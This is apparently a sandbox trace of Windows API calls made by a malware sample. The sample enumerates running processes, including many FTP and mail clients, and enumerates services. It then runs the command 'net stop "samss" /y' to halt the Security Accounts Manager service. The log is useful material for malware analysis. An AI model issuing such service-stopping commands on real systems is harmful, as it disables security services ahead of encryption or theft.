	[0249.160] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0249.161] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0249.163] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0249.165] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0249.167] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0249.168] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0249.170] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0249.172] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0249.173] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0249.175] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0249.176] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0249.178] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0249.179] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0249.460] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2d00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0249.461] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2d3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0249.463] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2fa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0249.464] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0249.466] Process32NextW (in: hSnapshot=0x4c4, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0249.467] CloseHandle (hObject=0x4c4) returned 1
	[0249.467] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x424940
	[0249.468] EnumServicesStatusW (in: hSCManager=0x424940, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0 | out: lpServices=0x0, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0) returned 0
	[0249.468] VirtualAlloc (lpAddress=0x0, dwSize=0x1710, flAllocationType=0x1000, flProtect=0x40) returned 0x8b10000
	[0249.469] EnumServicesStatusW (in: hSCManager=0x424940, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8b10000, cbBufSize=0x1710, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0 | out: lpServices=0x8b10000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0) returned 1
	[0249.471] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0250.288] Sleep (dwMilliseconds=0x96) 
	[0250.733] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.738] Sleep (dwMilliseconds=0xc350) 
	[0261.020] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x758
	[0261.177] Process32FirstW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0261.179] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0261.181] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0261.183] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0261.185] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0261.188] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0261.190] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0261.192] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0261.194] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0261.196] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0261.198] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.200] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.403] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.405] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.407] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.409] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.411] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.412] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0261.414] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0261.416] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0261.418] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0261.420] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.422] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.423] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0261.425] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.427] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0261.428] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0261.430] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0261.432] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0261.434] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0261.658] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0261.660] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0261.662] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0261.663] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0261.665] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0261.667] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0261.669] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0261.671] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0261.673] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0261.675] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0261.677] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0261.678] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0261.680] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0261.682] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0261.683] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0261.685] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0261.687] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0261.688] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0261.690] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0261.692] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0261.693] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0261.695] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0261.697] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0261.698] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0261.993] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0261.995] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0261.998] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0262.000] Process32NextW (in: hSnapshot=0x758, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
